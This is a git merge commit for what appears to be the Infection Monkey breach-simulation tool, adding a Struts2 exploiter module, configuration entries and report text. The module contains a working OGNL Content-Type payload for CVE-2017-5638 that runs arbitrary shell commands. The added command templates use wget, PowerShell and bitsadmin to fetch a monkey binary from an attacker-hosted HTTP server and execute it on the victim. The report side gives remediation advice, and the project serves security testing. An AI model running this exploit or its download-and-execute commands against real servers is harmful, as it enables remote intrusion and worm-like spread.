Merge branch 'develop' into feature/mssql_exploiter

# Conflicts:
#	infection_monkey/config.py
#	infection_monkey/example.conf
#	infection_monkey/exploit/__init__.py
This commit is contained in:
maor.rayzin 2018-06-27 21:40:05 +03:00
commit 19d324d81f
9 changed files with 325 additions and 5 deletions

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@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, MSSQLExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
ElasticGroovyExploiter, Struts2Exploiter # multi
]
# how many victims to look for in a single scan iteration

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@ -37,6 +37,7 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter",
"MSSQLExploiter"
],
"finger_classes": [

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@ -41,4 +41,5 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
from mssqlexec import MSSQLExploiter

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@ -0,0 +1,246 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

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@ -4,6 +4,7 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"

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@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'filename': 'monkey-linux-64',
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{
'type': 'windows',
'filename': 'monkey-windows-32.exe',

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@ -87,6 +87,13 @@ SCHEMA = {
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
]
},
"finger_classes": {
@ -626,7 +633,8 @@ SCHEMA = {
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter"
"ElasticGroovyExploiter",
"Struts2Exploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN

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@ -30,6 +30,7 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
}
class ISSUES_DICT(Enum):
@ -41,6 +42,7 @@ class ReportService:
CONFICKER = 5
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -290,6 +292,12 @@ class ReportService:
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
return processed_exploit
@staticmethod
def process_struts2_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -302,6 +310,7 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -419,6 +428,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

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@ -23,7 +23,8 @@ class ReportPageComponent extends AuthComponent {
SHELLSHOCK: 4,
CONFICKER: 5,
AZURE: 6,
STOLEN_SSH_KEYS: 7
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
};
Warning =
@ -321,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null}
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
</ul>
</div>
:
@ -671,6 +675,24 @@ class ReportPageComponent extends AuthComponent {
);
}
generateStruts2Issue(issue) {
return (
<li>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
<CollapsibleWellComponent>
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read <a
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
@ -718,6 +740,9 @@ class ReportPageComponent extends AuthComponent {
case 'azure_password':
data = this.generateAzureIssue(issue);
break;
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
}
return data;
};